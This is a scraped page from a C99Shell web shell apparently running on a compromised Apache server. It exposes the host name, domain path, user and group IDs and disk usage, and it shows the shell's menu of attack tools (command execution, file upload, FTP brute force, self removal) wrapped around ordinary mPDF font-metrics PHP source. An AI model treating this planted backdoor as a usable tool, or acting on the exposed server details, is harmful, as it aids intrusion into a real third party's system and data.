!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/Fonts/   drwxr-xr-x
Free 26.03 GB of 117.98 GB (22.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MetricsGenerator.php (3.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf\Fonts;

use 
Mpdf\TTFontFile;

class 
MetricsGenerator
{

    private 
$fontCache;

    private 
$fontDescriptor;

    public function 
__construct(FontCache $fontCache$fontDescriptor)
    {
        
$this->fontCache $fontCache;
        
$this->fontDescriptor $fontDescriptor;
    }

    public function 
generateMetrics($ttffile$ttfstat$fontkey$TTCfontID$debugfonts$BMPonly$useOTL$fontUseOTL)
    {
        
$ttf = new TTFontFile($this->fontCache$this->fontDescriptor);
        
$ttf->getMetrics($ttffile$fontkey$TTCfontID$debugfonts$BMPonly$useOTL); // mPDF 5.7.1

        
$font = [
            
'name' => $this->getFontName($ttf->fullName),
            
'type' => 'TTF',
            
'desc' => [
                
'CapHeight' => round($ttf->capHeight),
                
'XHeight' => round($ttf->xHeight),
                
'FontBBox' => '[' round($ttf->bbox[0]) . " " round($ttf->bbox[1]) . " " round($ttf->bbox[2]) . " " round($ttf->bbox[3]) . ']',
                
/* FontBBox from head table */
                /*         'MaxWidth' => round($ttf->advanceWidthMax),    // AdvanceWidthMax from hhea table    NB ArialUnicode MS = 31990 ! */
                
'Flags' => $ttf->flags,
                
'Ascent' => round($ttf->ascent),
                
'Descent' => round($ttf->descent),
                
'Leading' => round($ttf->lineGap),
                
'ItalicAngle' => $ttf->italicAngle,
                
'StemV' => round($ttf->stemV),
                
'MissingWidth' => round($ttf->defaultWidth)
            ],
            
'unitsPerEm' => round($ttf->unitsPerEm),
            
'up' => round($ttf->underlinePosition),
            
'ut' => round($ttf->underlineThickness),
            
'strp' => round($ttf->strikeoutPosition),
            
'strs' => round($ttf->strikeoutSize),
            
'ttffile' => $ttffile,
            
'TTCfontID' => $TTCfontID,
            
'originalsize' => $ttfstat['size'] + 0/* cast ? */
            
'sip' => ($ttf->sipset) ? true false,
            
'smp' => ($ttf->smpset) ? true false,
            
'BMPselected' => ($BMPonly) ? true false,
            
'fontkey' => $fontkey,
            
'panose' => $this->getPanose($ttf),
            
'haskerninfo' => ($ttf->kerninfo) ? true false,
            
'haskernGPOS' => ($ttf->haskernGPOS) ? true false,
            
'hassmallcapsGSUB' => ($ttf->hassmallcapsGSUB) ? true false,
            
'fontmetrics' => $this->fontDescriptor,
            
'useOTL' => ($fontUseOTL) ? $fontUseOTL 0,
            
'rtlPUAstr' => $ttf->rtlPUAstr,
            
'GSUBScriptLang' => $ttf->GSUBScriptLang,
            
'GSUBFeatures' => $ttf->GSUBFeatures,
            
'GSUBLookups' => $ttf->GSUBLookups,
            
'GPOSScriptLang' => $ttf->GPOSScriptLang,
            
'GPOSFeatures' => $ttf->GPOSFeatures,
            
'GPOSLookups' => $ttf->GPOSLookups,
            
'kerninfo' => $ttf->kerninfo,
        ];

        
$this->fontCache->jsonWrite($fontkey '.mtx.json'$font);
        
$this->fontCache->binaryWrite($fontkey '.cw.dat'$ttf->charWidths);
        
$this->fontCache->binaryWrite($fontkey '.gid.dat'$ttf->glyphIDtoUni);

        if (
$this->fontCache->has($fontkey '.cgm')) {
            
$this->fontCache->remove($fontkey '.cgm');
        }

        if (
$this->fontCache->has($fontkey '.z')) {
            
$this->fontCache->remove($fontkey '.z');
        }

        if (
$this->fontCache->jsonHas($fontkey '.cw127.json')) {
            
$this->fontCache->jsonRemove($fontkey '.cw127.json');
        }

        if (
$this->fontCache->has($fontkey '.cw')) {
            
$this->fontCache->remove($fontkey '.cw');
        }

        unset(
$ttf);
    }

    protected function 
getFontName($fullName)
    {
        return 
preg_replace('/[ ()]/'''$fullName);
    }

    protected function 
getPanose($ttf)
    {
        
$panose '';
        if (
count($ttf->panose)) {
            
$panoseArray array_merge([$ttf->sFamilyClass$ttf->sFamilySubClass], $ttf->panose);
            foreach (
$panoseArray as $value) {
                
$panose .= ' ' dechex($value);
            }
        }

        return 
$panose;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--